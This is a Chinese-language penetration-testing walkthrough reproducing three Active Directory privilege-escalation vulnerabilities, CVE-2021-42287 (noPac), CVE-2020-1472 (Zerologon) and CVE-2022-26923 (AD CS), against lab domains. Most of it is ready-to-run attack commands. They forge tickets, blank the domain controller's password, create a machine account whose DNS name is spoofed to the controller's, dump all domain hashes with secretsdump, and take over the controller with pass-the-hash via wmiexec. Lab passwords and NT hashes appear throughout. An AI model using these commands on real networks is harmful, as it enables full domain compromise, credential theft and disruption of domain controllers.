CVE-2021-42287#
由於 Active Directory 沒有對域中計算機和伺服器帳號進行驗證,經過身份驗證的攻擊者利用該漏洞繞過完全限制,可將域中普通用戶權限提升為域管理員權限並執行任意代碼。
利用條件#
前提條件:一個域內普通帳號 影響版本:Windows 基本全系列
漏洞復現#
當前場景如下,目前已經獲得了 Web Server 的主機權限和 webadmin 這個域成員的帳號和密碼,來使用 CVE-2021-42287 漏洞來攻擊域控主機 這裡我們可以使用 nopac 腳本來進行利用 在攻擊前先將該域名和 IP 地址綁定在 hosts 中
檢測是否存在漏洞
noPac.exe scan -domain god.org -user webadmin -pass admin!@#45
漏洞存在,接下來我們使用域普通用戶的 TGT,利用漏洞請求 TGS 申請域控機器帳戶 cifs 服務的 ST 憑證
noPac -domain god.org -user webadmin -pass admin!@#45 /dc owa2010cn-god.god.org --impersonate administrator -dump -use-ldap
生成票據後我們再來查看一下當前電腦上所存在的票據
klist
發現有一條和域控建立的票據,這裡我們直接使用 psexec 連接即可
PsExec \\owa2010cn-god.god.org cmd
CVE-2020-1472#
CVE-2020-1472 是一個 windows 域控中最嚴重的遠程權限提升漏洞,攻擊者通過 NetLogon,建立與域控間易受攻擊的安全通道時,可利用此漏洞獲取域管訪問權限
首先先獲取域控的計算機名
net group "domain controllers" /domain
然後使用測試腳本去檢測該域控是否存在漏洞
python zerologon_tester.py owa2010cn-god 192.168.3.21
然後使用 exp 連接 DC 清空憑證
python cve-2020-1472-exploit.py OWA2010CN-GOG 192.168.3.21
執行後,會將 DC 的密碼置空,然後我們再使用空密碼連接將域內的 HASH 導出出來
secretsdump.exe "god.org/owa2010cn-god$@192.168.3.21" -no-pass
這時我們在使用域控的 hash 去進行 PTH 連接,拿到域控權限
wmiexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 god/admin
CVE-2022-26923#
該漏洞允許低權限用戶在安裝了 Active Directory 證書服務(AD CS)伺服器角色的默認 Active Directory 環境中將權限提升為域管理員。現在已經很少沒有安裝 AD CS 的大中型 Active Directory 環境,所以該漏洞危害和利用性都較強。
利用條件#
前提條件:
- 域內普通帳號
- 域內存在證書伺服器
影響版本:win8.1、win10、win11、Windows Server 2012 R2、Windows Server2016、Windows Server2019、Windows Server2022 等版本
環境搭建#
首先準備一台已搭建域服務的主機,這裡選擇 Windows Server 2012R2 版本。因為這個漏洞基於證書服務,所以需要 DC 中安裝 Active Directory 證書服務。點擊添加角色和功能,默認下一步直到下圖,選擇安裝 Active Directory 證書服務:下一步到角色服務中,勾選證書頒發機構、證書頒發機構 web 註冊、證書註冊策略 Web 服務點擊安裝即可
安裝完成後需要配置 Active Directory 證書服務,在伺服器管理器中單擊該選項。選擇剛剛安裝時所勾選的三個服務後默認下一步到 CA 名稱中配置 CA 證書後,下一步到伺服器證書在伺服器證書中,選擇證書並稍後為 SSL 分配,點擊下一步下一步配置查看是否配置成功:在證書頒發機構中查看是否存在證書模板該漏洞的利用條件為獲得一個域內普通用戶權限,所以需要在 DC 上創建一個用戶,之後便會使用這個用戶的憑據進行域控提權操作。
漏洞利用#
獲取 CA 名稱#
目前我們的已知信息
域控Win 2012
IP:192.168.45.152
主機名:DC-2012
域名:tidesec.local
用戶:test/Pass123
接下來第一步我們需要獲取該域內的 CA 名稱
- 任意域內主機查詢
查看是否存在證書驅動器
Get-PSDrive cert | ft -AutoSize
列出本地機器帳戶的證書
Get-ChildItem Cert:\LocalMachine\Root
- 域控上查詢
certutil
certutil -config - -ping
3. 合理猜測 根據域控主機名和域名進行猜測
域控主機名:DC-2012
域名:tidesec.local
CA名稱:tidesec-DC-2012-CA
申請證書#
在申請證書前,需要先修改一下我們攻擊機的 hosts 文件,將域名和 ip 地址對應一下
vim /etc/hosts
192.168.45.152 tidesec.local
192.168.45.152 tidesec-DC-2012-CA
192.168.45.152 DC-2012.tidesec.local
這裡需要使用到 certipy 工具,在使用前先進行安裝
python3 setup.py install
安裝後使用我們剛剛所獲得的低權限用戶、CA 名、域控計算機名來生成一個證書
certipy req tidesec.local'test:Pass123'@DC-2012.tidesec.local -ca tidesec-DC-2012-CA -template User
申請 ceshi 用戶證書帳號成功後,執行命令來驗證該證書,獲取其 NT hash 值
certipy auth -pfx test.pfx
成功獲取到了 NT hash,說明測試環境沒有問題,接下來需要使用 bloodyAD 來新建一個機器帳號 在新建帳號前我們先觀察一下,當前域控下的 Computers 下是沒有帳號的,接下來新建一個
python3 bloodyAD.py -d tidesec.local -u test -p 'Pass123' --host 192.168.45.152 addComputer test2 'Test12345'
這時再來觀察下域控中成功添加了一個 test2 的機器帳號,接下來設置其 dNSHostName 屬性為域控伺服器屬性
python3 bloodyAD.py -d tidesec.local -u test -p 'Pass123' --host 192.168.45.152 setAttribute 'CN=test2,CN=Computers,DC=tidesec,DC=local' dNSHostName '["DC-2012.tidesec.local"]'
接下來我們再用剛新建的機器帳號 test2 去申請證書,其實是申請的域控 DC$ 的證書
certipy req 'tidesec.local/test2$:Test12345@192.168.45.152' -template Machine -dc-ip 192.168.45.152 -ca tidesec-DC-2021-CA
可以看到此時的證書不是 test.pfx,是主機名 dc-2012.pfx,頒發的是域控制器的計算機帳戶證書,。接下來我們使用該證書進行認證,Certipy 工具檢索到了 DC-2012$ 的 NTLM hash。
certipy auth -pfx dc-2012.pfx -dc-ip 192.168.45.152
然後我們可以使用 impacket 工具包中的 secretsdump.py 腳本來執行 DCSync 攻擊,導出域內用戶 Hash
python3 secretsdump.py 'tidesec.local/DC-2012$@DC-2012.tidesec.local' -hashes :20d4bd2f70725811f4e39fe77166e00b
之後在使用 wmiexec.py 腳本去獲得域控帳戶的執行權限
python3 wmiexec.py tidesec.local/administrator@192.168.45.152 -hashes aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7